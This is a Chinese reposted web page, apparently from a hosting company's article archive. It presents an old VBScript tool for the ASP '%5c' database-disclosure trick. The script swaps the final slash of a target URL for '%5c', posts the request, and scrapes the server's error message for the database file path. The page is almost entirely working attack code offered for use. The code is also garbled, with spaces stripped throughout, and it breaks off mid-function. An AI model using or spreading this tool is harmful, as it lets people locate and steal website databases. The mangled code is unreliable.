N年前的两个脚本%5c暴库
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| DimxStatus,tStatus,vServer,vHeader,vRsBody GetError=InputBox("请输入网站,例如:http://www.hackerxfiles.com/files/list.asp?id=415","请输入网址","http://www.hackerxfiles.com/files/list.asp?id=415") IfGetError=""Then MsgBox("输入错误，程序结束！") WScript.Quit EndIf GetError=StrReverse(GetError) Tem2=0 ForI=1ToLen(GetError) IfMid(GetError,I,1)=Chr(47)AndTem2=0Then Temp=Temp&"c5%" Tem2=Tem2+1 Else Temp=Temp&Mid(GetError,I,1) EndIf Next GetError=StrReverse(Temp) CallxmlPost(GetError) ErrorText=vServer&""&xStatus BaseSaver=GetStr(vRsBody,"找不到文件''","''。</font>"&Chr(10)) IfBaseSaver="[None]"Then BaseSaver=GetStr(vRsBody,"<fontface="&Chr(34)&"宋体"&Chr(34)&"size=2>''","''不是一个有效的路径。") EndIf IfBaseSaver="[None]"Then BaseSaver=GetStr(vRsBody,"打开注册表关键字''","''。</font>") EndIf IfBaseSaver="[None]"Then AllReturn="<TITLE>Mappath出错获取数据库地址Lilo</TITLE><Bodyscroll=''no''bgcolor=''menu''style=''border:0pt;margin-left:5pt''><B>"&ErrorText&"</B><BR><BR><textarearows=''15''name=''S1''cols=''57''>"&vRsBody&"</textarea>" Else AllReturn="<TITLE>Mappath出错获取数据库地址Lilo</TITLE><Bodyscroll=''no''bgcolor=''menu''style=''border:0pt;margin-left:5pt''><B>"&ErrorText&"</B><BR><BR><textarearows=''15''name=''S1''cols=''57''>"&BaseSaver&"</textarea>" EndIf CallOpenWin(AllReturn) SetWHShell=WScript.CreateObject("WScript.Shell") WHShell.AppActivate"Mappath出错获取数据库地址Lilo" ''WHShell.SendKeys("%{TAB}") SetWHShell=Nothing FunctionURLEncoding(vstrIn) strReturn="" Fori=1ToLen(vstrIn) ThisChr=Mid(vStrIn,i,1) IfAbs(Asc(ThisChr))<&HFFThen strReturn=strReturn&ThisChr Else innerCode=Asc(ThisChr) IfinnerCode<0Then innerCode=innerCode+&H10000 EndIf Hight8=(innerCodeAnd&HFF00)\&HFF Low8=innerCodeAnd&HFF strReturn=strReturn&"%"&Hex(Hight8)&"%"&Hex(Low8) EndIf Next URLEncoding=strReturn EndFunction Functionbytes2BSTR(vIn) strReturn="" Fori=1ToLenB(vIn) ThisCharCode=AscB(MidB(vIn,i,1)) IfThisCharCode<&H80Then strReturn=strReturn&Chr(ThisCharCode) Else NextCharCode=AscB(MidB(vIn,i+1,1)) strReturn=strReturn&Chr(CLng(ThisCharCode)*&H100+CInt(NextCharCode)) i=i+1 EndIf Next bytes2BSTR=strReturn EndFunction FunctionxmlPost(iURL) OnErrorResumeNext iPost=URLEncoding(iPost) SetxPost=CreateObject("Microsoft.XMLHTTP") xPost.open"POST",iURL,False xPost.Send xStatus=xPost.Status tStatus=xPost.StatusText vServer=xPost.GetResponseHeader("Server") vHeader=xPost.GetAllResponseHeaders vRsBody=bytes2BSTR(xPost.responseBody) SetxPost=Nothing EndFunction FunctionGetStr(vString,iString,dString) vSum=inStr(vRsBody,iString) IfvSum=0ThenGetStr="[None]":ExitFunction eSum=inStr(vSum,vRsBody,dString) IfeSum=0ThenGetStr="[None]":ExitFunction GetStr=Mid(vRsBody,vSum+Len(iString),eSum-vSum-Len(iString)) EndFunction FunctionIntToStr(vNum,vLen) IfLen(vNum)>=vLenThenIntToStr=vNum:ExitFunction ForI=1TovLen-Len(vNum) IntToStr=IntToStr&"0" Next IntToStr=Int |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于N年前的两个脚本%5c暴库的所有评论
